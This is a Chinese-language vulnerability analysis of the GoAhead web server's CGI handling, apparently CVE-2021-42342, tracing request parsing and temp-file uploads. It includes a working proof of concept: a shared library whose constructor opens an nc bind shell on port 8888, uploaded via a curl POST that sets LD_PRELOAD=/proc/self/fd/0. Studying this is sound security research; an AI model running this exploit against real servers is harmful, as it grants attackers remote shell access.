PUBLIC char *websGetCgiCommName(){ return websTempFile(NULL, "cgi");}
PUBLIC char *websTempFile(char *dir, char *prefix){ static int count = 0; char sep;
sep = '/'; if (!dir || *dir == '\0') {#if WINCE dir = "/Temp"; sep = '\\';#elif ME_WIN_LIKE dir = getenv("TEMP"); sep = '\\';#elif VXWORKS dir = ".";#else dir = "/tmp";#endif } if (!prefix) { prefix = "tmp"; } return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);}
进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。
git clone https://github.com/embedthis/goahead.git cd goahead make cd test gcc ./cgitest.c -o cgi-bin/cgitest sudo gdb ../build/linux-x64-default/bin/goahead
#include#include
static void main(void) __attribute__((constructor));
static void main(void) { system("nc -lp 8888 -e /bin/sh");}
// gcc --shared -fPIC poc.c -o poc.so
构造HTTP请求发送
curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下layty师傅的文章。
websOpen函数会根据配置启动相应的代码模块
其中关于cgi请求的回调函数通过
其中关于cgi请求的回调函数通过websDefineHandler函数定义。
websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。
在websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。
其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。
此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的
调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。
parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg为0,所以我们需要绕过addFormVars函数,即请求头content-type为multipart/form-data。
websRouteRequest函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。
调用websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。
进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。
processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp->upfd中。
processContentData函数调用writeToFile函数将上传的数据保存在临时文件中,并修改上传状态为UPLOAD_BOUNDARY判断数据是否上传完毕。
返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp中
在代码执行到漏洞位置时,s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。
https://tttang.com/user/phith0n https://www.elttam.com/blog/goahead/#content https://bestwing.me/CVE-2021-42342-Goahead.html https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg https://xz.aliyun.com/t/6407?accounttraceid=17d50e3cca724b7d82f4ba4c85506a88yzpw